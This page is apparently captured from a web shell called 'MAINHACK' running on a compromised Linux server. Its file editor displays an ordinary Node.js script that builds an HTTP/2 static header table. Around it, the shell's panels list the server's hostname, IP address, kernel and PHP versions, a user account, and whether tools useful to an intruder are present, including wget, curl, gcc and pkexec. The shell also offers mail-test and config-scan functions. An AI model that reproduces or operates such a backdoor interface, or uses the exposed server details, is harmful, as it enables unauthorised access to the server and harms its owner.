[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: gen-static-table.js
var utils = require('./utils'); var table = ` 1 :authority 2 :method GET 3 :method POST 4 :path / 5 :path /index.html 6 :scheme http 7 :scheme https 8 :status 200 9 :status 204 10 :status 206 11 :status 304 12 :status 400 13 :status 404 14 :status 500 15 accept-charset 16 accept-encoding gzip, deflate 17 accept-language 18 accept-ranges 19 accept 20 access-control-allow-origin 21 age 22 allow 23 authorization 24 cache-control 25 content-disposition 26 content-encoding 27 content-language 28 content-length 29 content-location 30 content-range 31 content-type 32 cookie 33 date 34 etag 35 expect 36 expires 37 from 38 host 39 if-match 40 if-modified-since 41 if-none-match 42 if-range 43 if-unmodified-since 44 last-modified 45 link 46 location 47 max-forwards 48 proxy-authenticate 49 proxy-authorization 50 range 51 referer 52 refresh 53 retry-after 54 server 55 set-cookie 56 strict-transport-security 57 transfer-encoding 58 user-agent 59 vary 60 via 61 www-authenticate `; var out = []; table.split('\n').filter(function(line) { return line; }).forEach(function(line) { var columns = line.split(/\t/g); var name = columns[1]; var value = columns[2]; var nameSize = Buffer.byteLength(name); var valueSize = Buffer.byteLength(value); out.push({ name: name, value: value, nameSize: nameSize, totalSize: nameSize + valueSize + 32 }); }); console.log('exports.table = ' + JSON.stringify(out, false, 2) + ';'); var map = {}; table.split('\n').filter(function(line) { return line; }).forEach(function(line) { var columns = line.split(/\t/g); var name = columns[1]; var value = columns[2]; var index = columns[0] | 0; if (!map[name]) { map[name] = { index: index, values: {} }; } map[name].values[value] = index; }); console.log('exports.map = ' + JSON.stringify(map, false, 2) + ';');
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.57 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002